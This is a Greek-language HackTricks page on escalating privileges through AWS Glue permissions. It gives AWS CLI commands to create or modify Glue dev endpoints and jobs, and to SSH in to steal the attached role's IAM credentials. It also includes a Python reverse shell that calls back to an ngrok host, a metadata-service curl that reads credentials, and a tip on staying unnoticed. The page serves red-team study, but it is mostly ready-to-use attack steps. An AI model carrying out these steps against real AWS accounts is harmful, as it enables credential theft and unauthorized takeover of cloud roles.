AWS - Glue Privesc

Μάθετε χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks στο AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

glue

iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Οι χρήστες με αυτές τις άδειες μπορούν να δημιουργήσουν ένα νέο σημείο ανάπτυξης AWS Glue, αναθέτοντας έναν υπάρχοντα ρόλο υπηρεσίας που μπορεί να υιοθετηθεί από το Glue με συγκεκριμένες άδειες σε αυτό το σημείο.

Μετά την εγκατάσταση, ο επιτιθέμενος μπορεί να συνδεθεί μέσω SSH στην κατάσταση του σημείου, και να κλέψει τα διαπιστευτήρια IAM του ανατεθειμένου ρόλου:

# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Για λόγους αόρατης λειτουργίας, συνιστάται να χρησιμοποιήσετε τα διαπιστευτήρια IAM από μέσα στην εικονική μηχανή Glue.

Πιθανή Επίπτωση: Ανύψωση προνομίων στον καθορισμένο ρόλο υπηρεσίας Glue.

glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)

Οι χρήστες με αυτήν την άδεια μπορούν να τροποποιήσουν ένα υπάρχον ανάπτυξης Glue τερματικό SSH key, ενεργοποιώντας την πρόσβαση SSH σε αυτό. Αυτό επιτρέπει στον επιτιθέμενο να εκτελέσει εντολές με τα προνόμια του ρόλου που είναι συνδεδεμένος με το τερματικό.

# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub

# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest

# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com

Πιθανή Επίδραση: Ανέλιξη προνομίων στον ρόλο υπηρεσίας glue που χρησιμοποιείται.

iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)

Οι χρήστες με iam:PassRole σε συνδυασμό με είτε glue:CreateJob ή glue:UpdateJob, και είτε glue:StartJobRun ή glue:CreateTrigger μπορούν να δημιουργήσουν ή να ενημερώσουν ένα AWS Glue job, συνδέοντας οποιονδήποτε λογαριασμό υπηρεσίας Glue, και να ξεκινήσουν την εκτέλεση της δουλειάς. Οι δυνατότητες της δουλειάς περιλαμβάνουν την εκτέλεση αυθαίρετου κώδικα Python, ο οποίος μπορεί να εκμεταλλευτεί για τη δημιουργία αντίστροφου κελύφους. Αυτό το αντίστροφο κέλυφος μπορεί στη συνέχεια να χρησιμοποιηθεί για την εξαγωγή των διαπιστευτηρίων IAM του ρόλου που είναι συνδεδεμένος με τη δουλειά Glue, οδηγώντας σε πιθανή μη εξουσιοδοτημένη πρόσβαση ή ενέργειες βασισμένες στα δικαιώματα εκείνου του ρόλου:

# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy


# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'

# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *"  #Every 5mins, feel free to change

Πιθανή Επίδραση: Privesc στον ρόλο υπηρεσίας glue που καθορίζεται.

glue:UpdateJob

Απλά με την άδεια ενημέρωσης, ένας επιτεθείς θα μπορούσε να κλέψει τα IAM διαπιστευτήρια του ήδη συνδεδεμένου ρόλου.

Πιθανή Επίδραση: Privesc στον ρόλο υπηρεσίας glue που έχει συνδεθεί.

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated